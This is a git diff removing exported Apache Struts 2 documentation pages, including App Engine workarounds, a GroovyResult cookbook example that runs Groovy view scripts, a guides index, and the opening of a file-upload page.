-       at com.google.apphosting.runtime.security.shared.intercept.java.lang.Class_.getDeclaredConstructors(Class_.java:192)
-       at com.opensymphony.xwork2.inject.ContainerImpl$ConstructorInjector.findConstructorIn(ContainerImpl.java:366)
-       at com.opensymphony.xwork2.inject.ContainerImpl$ConstructorInjector.&lt;init&gt;(ContainerImpl.java:319)
-       at com.opensymphony.xwork2.inject.ContainerImpl$5.create(ContainerImpl.java:305)
-       at com.opensymphony.xwork2.inject.ContainerImpl$5.create(ContainerImpl.java:304)
-       at com.opensymphony.xwork2.inject.util.ReferenceCache$CallableCreate.call(ReferenceCache.java:150)
-       at java.util.concurrent.FutureTask$Sync.innerRun(Unknown Source)
-       at java.util.concurrent.FutureTask.run(Unknown Source)
-       at com.opensymphony.xwork2.inject.util.ReferenceCache.internalCreate(ReferenceCache.java:76)
-       at com.opensymphony.xwork2.inject.util.ReferenceCache.get(ReferenceCache.java:116)
-       at com.opensymphony.xwork2.inject.ContainerImpl.getConstructor(ContainerImpl.java:594)
-       at com.opensymphony.xwork2.inject.ContainerImpl.inject(ContainerImpl.java:491)
-       ... 55 more
-</pre>
-</div></div> 
-
-<h3 id="GoogleAppEngine(GAE)-Workarounds">Workarounds</h3>
-
-<blockquote><p>As a work-around (guess), I changed it to cimpl.getDeclaredClasses() instead which is permitted (I don't know if this has the same effect on the ClassLoader).  That got me past the issue above, but the same SecurityException occurs in XWork's ContainerImpl$ConstructorInjector.findConstructorIn():</p></blockquote>
-<p>    SecurityException: Unable to get members for Class o.a.s.v.v.VelocityManager</p>
-
-
-<p>This exception occurs within Google App Engine because XWork eagerly loads the VelocityManager Class for the bean struts-default.xml.  VelocityManager uses the VelocityToolbox optional dependency (in velocity-tools) which is not deployed with the application by default.  I presume the GAE ClassLoader checks all imported classes against the whitelist and fails if the class is not found.<br clear="none">
-It's overcome by deploying the application velocity.</p>
-
-<p>I now have Struts 2.1.8-snapshot with Convention, Sitemesh and JSON, within a Guice2 servlet filter for IOC, running within GAE.</p>
-
-<p>The mandatory work-around are:</p>
-<ul class="alternate"><li>to still use a ServletContextListener to disable the OgnlRuntime security manager.  If not done, an IllegalAccessException occurs in OgnlUtil.setProperty(String) at run-time.  This exception is swallowed, but it typically results in an NPE in ServletRedirectResult.isPathUrl(String) because location cannot be set.</li><li>the velocity dependencies need to be deployed with the application even if not in use.  If not done, a security exception occurs while getting  [...]
-
-
-<p>I don't think any S2 code changes are required at this time.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/groovyresult.html b/content/docs/groovyresult.html
deleted file mode 100644
index d3259b6..0000000
--- a/content/docs/groovyresult.html
+++ /dev/null
@@ -1,386 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>GroovyResult</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="groovyresult.html">GroovyResult</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">GroovyResult</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13865">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13865">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13865">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13865">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13865">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13865">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><p class="title">Groovy Plugin Available</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>There is now a Struts 2 Groovy plugin that largely superceded this page: <a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/groovy-plugin.html">http://cwiki.apache.org/S2PLUGINS/groovy-plugin.html</a></p></div></div>
-<h2 id="GroovyResult-GroovyResult-Groovyscriptsasaview">GroovyResult - Groovy scripts as a view</h2>
-
-<p>This is an attempt to create a Result type that uses Groovy (<a shape="rect" class="external-link" href="http://groovy.codehaus.org" rel="nofollow">http://groovy.codehaus.org</a>) files as a view. It exposes the current ActionContext to a groovy script. This doesn't really have much practical use, but it's fun nonetheless and shows how easy it is to create a Result. There is another Result (JFreeChartResult) in the <a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpa [...]
-
-<h2 id="GroovyResult-Installation">Installation</h2>
-
-<p>Not much - just make sure you have Groovy in your classpath, and the antlr, asm-* and groovy jars available to your webapp.</p>
-
-<h2 id="GroovyResult-Configuration">Configuration</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>acdtion.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;result-types&gt;
-   &lt;result-type name="groovy" class="myapp.action2.extensions.GroovyResult"/&gt;
-&lt;/result-types&gt;
-</pre>
-</div></div>
-<p>xwork.xml - action definitions</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="MyAction" class="myapp.action2.actions.MyAction"&gt;
-  &lt;result name="success" type="groovy"&gt;
-    &lt;param name="file"&gt;test.groovy&lt;/param&gt;
-  &lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-<p>The result type takes one parameter (for now), namely 'file', which contains the name of the groovy script in our script directory.</p>
-
-<h2 id="GroovyResult-Showmethecode!">Show me the code !</h2>
-
-<p>Here's the code of the actual GroovyResult. This is a verbose version, with a lot of error checking.</p>
-<ul class="alternate"><li>source code
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>GroovyResult.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class GroovyResult implements Result {
-
-	public final static String GROOVY_DIR_NAME = "groovy";
-
-	private final static Logger logger = Logger.getLogger(GroovyResult.class);
-	//our groovy source file name
-	private String file;
-	//a groovy shell
-	private GroovyShell shell;
-	//our parsed script
-	private Script script;
-	//the outputstream that will replace the 'out' in our groovy stream
-	private OutputStream out;
-	//directory containing groovy scripts
-	private String scriptDirectory;
-	/*
-	 * (non-Javadoc)
-	 *
-	 * @see com.opensymphony.xwork.Result#execute(com.opensymphony.xwork.ActionInvocation)
-	 */
-	public void execute(ActionInvocation inv) {
-
-		//check the scriptDirectory - if it doesn't exists, use the default one
-		//WEBAPP + Groovy files directory
-		if (scriptDirectory == null) {
-			//not pretty, but this allows us to get the app root directory
-			String base = ServletActionContext.getServletContext().getRealPath(
-					"/");
-			//if for some reason (.war, apache connector, ..) we can't get the
-			// base path
-			if (base == null) {
-				logger
-						.warn("Could not translate the virtual path \"/\" to set the default groovy script directory");
-				return;
-			}
-			scriptDirectory = base + GROOVY_DIR_NAME;
-			//issue a warning that this directory should NOT be world readable
-			// !!
-			logger
-					.warn("Please make sure your script directory is NOT world readable !");
-		}
-
-		// first of all, make sure our groovy file exists, is readable, and is
-		// an actual file
-
-		File groovyFile = new File(scriptDirectory, file);
-		if (!groovyFile.exists()) {
-			//log an error and return
-			logger.warn("Could not find destination groovy file: "
-					+ groovyFile.getAbsolutePath());
-			return;
-		}
-		if (!groovyFile.isFile()) {
-			//log an error and return
-			logger.warn("Destination is not a file: "
-					+ groovyFile.getAbsolutePath());
-			return;
-		}
-		if (!groovyFile.canRead()) {
-			//log an error and return
-			logger.warn("Can not read file: " + groovyFile.getAbsolutePath());
-			return;
-		}
-
-		if (logger.isDebugEnabled())
-			logger.debug("File " + groovyFile.getPath()
-					+ " found, going to parse it ..");
-
-		/*
-		 * Here we create a Binding object which we populate with the webwork
-		 * stack
-		 */
-		Binding binding = new Binding();
-
-		binding.setVariable("context", ActionContext.getContext());
-
-		/*
-		 * We replace the standard OutputStream with our own, in this case the
-		 * OutputStream from our httpResponse
-		 */
-		try {
-			//the out will be stored in an OutputStream
-			out = ServletActionContext.getResponse().getOutputStream();
-		} catch (IOException e1) {
-			logger.error("Could not open outputstream", e1);
-		}
-		if (out != null){
-			binding.setVariable("out", out);
-		}
-		else {
-			logger
-					.warn("OutputStream not available, using default System.out instead");
-			binding.setVariable("out", System.out);
-		}
-
-		//create a new shell to parse and run our groovy file
-		shell = new GroovyShell(binding);
-		try {
-			//try to parse the script - the returned script could be cached for
-			//performance improvent
-			script = shell.parse(groovyFile);
-		} catch (CompilationFailedException e) {
-			logger.error("Could not parse groovy script", e);
-			return;
-		} catch (IOException e) {
-			logger.error("Error reading groovy script", e);
-			return;
-		}
-		//the binding is set, now run the script
-		Object result = script.run();
-
-		if (logger.isDebugEnabled()) {
-			logger.debug("Script " + groovyFile.getName()
-					+ " executed, and returned: " + result);
-		}
-		try {
-			out.flush();
-		} catch (IOException e2) {
-			logger.error("Could not flush the outputstream", e2);
-		}
-	}
-
-	/**
-	 * @return Returns the script.
-	 */
-	public Script getScript() {
-		return script;
-	}
-	/**
-	 * @param file
-	 *            The file to set.
-	 */
-	public void setFile(String file) {
-		this.file = file;
-	}
-	/**
-	 * @param out
-	 *            The out to set.
-	 */
-	public void setOut(OutputStream out) {
-		this.out = out;
-	}
-</pre>
-</div></div></li></ul>
-
-
-<h2 id="GroovyResult-Explanation">Explanation</h2>
-
-<p>The first part of the result is little more than:</p>
-<ul class="alternate"><li>determining the script directory - defaults to <code>MYWEBAPP/groovy/</code></li><li>checking the file - make sure it exists, is readable, ..
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Make sure the groovy scripts directory is not world readable !</p></div></div></li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>The groovy part</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Binding binding = new Binding();
-binding.setVariable("context", ActionContext.getContext());
-</pre>
-</div></div>
-<p>A Binding object allows us to 'bind' objects to a groovy script, so they can be used as variables. In this case, I took the ActionContext and exposed it as 'context'.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-out = ServletActionContext.getResponse().getOutputStream();
-...
-binding.setVariable("out", out);
-</pre>
-</div></div>
-<p>We also bind an OutputStream to the groovy script (as 'out') - it simply serves as a replacement for the standard System.out, so any printing goes directly to the http response outputstream.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-shell = new GroovyShell(binding);
-</pre>
-</div></div>
-<p>Next step; we create a GroovyShell, and pass our populated Binding to the constructor. Any script ran by this shell will have access to the passed variables (ActionContext and OutputStream).</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-script = shell.parse(groovyFile);
-</pre>
-</div></div>
-<p>Before you can run a groovyFile, you need to parse it. Any syntax errors will be reported here - I also suggest adding a better error reporting in this case if you actually want to use this Result.<br clear="none">
-Upon successful parsing, a Script is returned (which could be cached if you want to increase performance) which will be run by our Shell.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Object result = script.run();
-</pre>
-</div></div>
-<p>As a test, you might want to create a little 'groovy' script to test our Result.<br clear="none">
-test.groovy - a simple groovy script</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-for (item in context.contextMap){
-	println "item: ${item}"
-}
-</pre>
-</div></div>
-<p>Place the test.groovy file in your groovy scripts directory. You should now see the result when you invoke MyAction.action in your browser.</p>
-
-<p>Possible improvements are binding all objects on the stack so they become available to the groovy script, refactoring to an InputStream instead of a File, etc .. Comments welcome !</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/guides.html b/content/docs/guides.html
deleted file mode 100644
index 26c5072..0000000
--- a/content/docs/guides.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Guides</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Guides</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14237">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14237">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14237">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14237">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14237">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14237">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Our in-depth guides focus on specific areas of the framework, such as Views, the Core framework, and Third-party Extensions.</p><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>We started work on a new <a shape="rect" href="user-guide.html">User Guide</a>, that should [...]
-</p><ul><li><a shape="rect" href="big-picture.html">Big Picture</a>
-	<ul><li><a shape="rect" href="objectfactory.html">ObjectFactory</a></li><li><a shape="rect" href="actionmapper.html">ActionMapper</a></li><li><a shape="rect" href="action-proxy-actionproxy-factory.html">Action Proxy &amp; ActionProxy Factory</a></li><li><a shape="rect" href="configuration-provider-configuration.html">Configuration Provider &amp; Configuration</a></li></ul>
-	</li></ul><h2 id="Guides-MigrationGuidehttps://cwiki.apache.org/confluence/pages/viewpage.action?pageId=13981"><a shape="rect" href="migration-guide.html">Migration Guide</a></h2><p>Getting here from there.</p><h3 id="Guides-VersionNotes2.5.x">Version Notes 2.5.x</h3><ul><li><a shape="rect" href="version-notes-25101.html">Version Notes 2.5.10.1</a></li><li><a shape="rect" href="version-notes-2510.html">Version Notes 2.5.10</a></li><li><a shape="rect" href="version-notes-258.html">Versio [...]
-
-</p><h3 id="Guides-Source">Source</h3>
-
-<ul><li><a shape="rect" href="building-the-framework-from-source.html">Building the Framework from Source</a>
-	<ul><li><a shape="rect" href="building-with-maven.html">Building with Maven</a></li></ul>
-	</li><li><a shape="rect" href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a></li><li><a shape="rect" href="requirements.html">Requirements</a> and <a shape="rect" href="use-cases.html">Use Cases</a> - <img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> <em>under construction</em></li><l [...]
-
-
-<h3 id="Guides-Documentation">Documentation</h3>
-
-<ul><li><a shape="rect" href="editing-the-documentation.html">Editing the Documentation</a></li><li><a shape="rect" href="colophon.html">Documentation Colophon</a></li><li><a shape="rect" href="documentation-style-guide.html">Documentation Style Guide</a></li></ul>
-
-
-<h4 id="Guides-CoreGuideTODOs">Core Guide TODOs</h4>
-
-<ul><li>Creating Resources</li><li>Writing Validators</li><li>Writing Type Converters</li><li>Actions</li><li>Writing Actions</li><li>Writing Results</li></ul>
-
-
-<h3 id="Guides-LicensingandCopyright">Licensing and Copyright</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://people.apache.org/~cliffs/3party.html">Third Party Licensing Policy RFC</a></li><li><a shape="rect" class="external-link" href="http://www.apache.org/legal/src-headers.html">ASF Source Header and Copyright Notice Policy</a></li><li><a shape="rect" class="external-link" href="http://tinyurl.com/mw7t6" rel="nofollow">Author Tags</a></li></ul><h2 id="Guides-Errata?">Errata?</h2><div class="confluence-information-macro confluence-inf [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/handling-file-uploads.html b/content/docs/handling-file-uploads.html
deleted file mode 100644
index b372155..0000000
--- a/content/docs/handling-file-uploads.html
+++ /dev/null
@@ -1,223 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Handling File Uploads</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
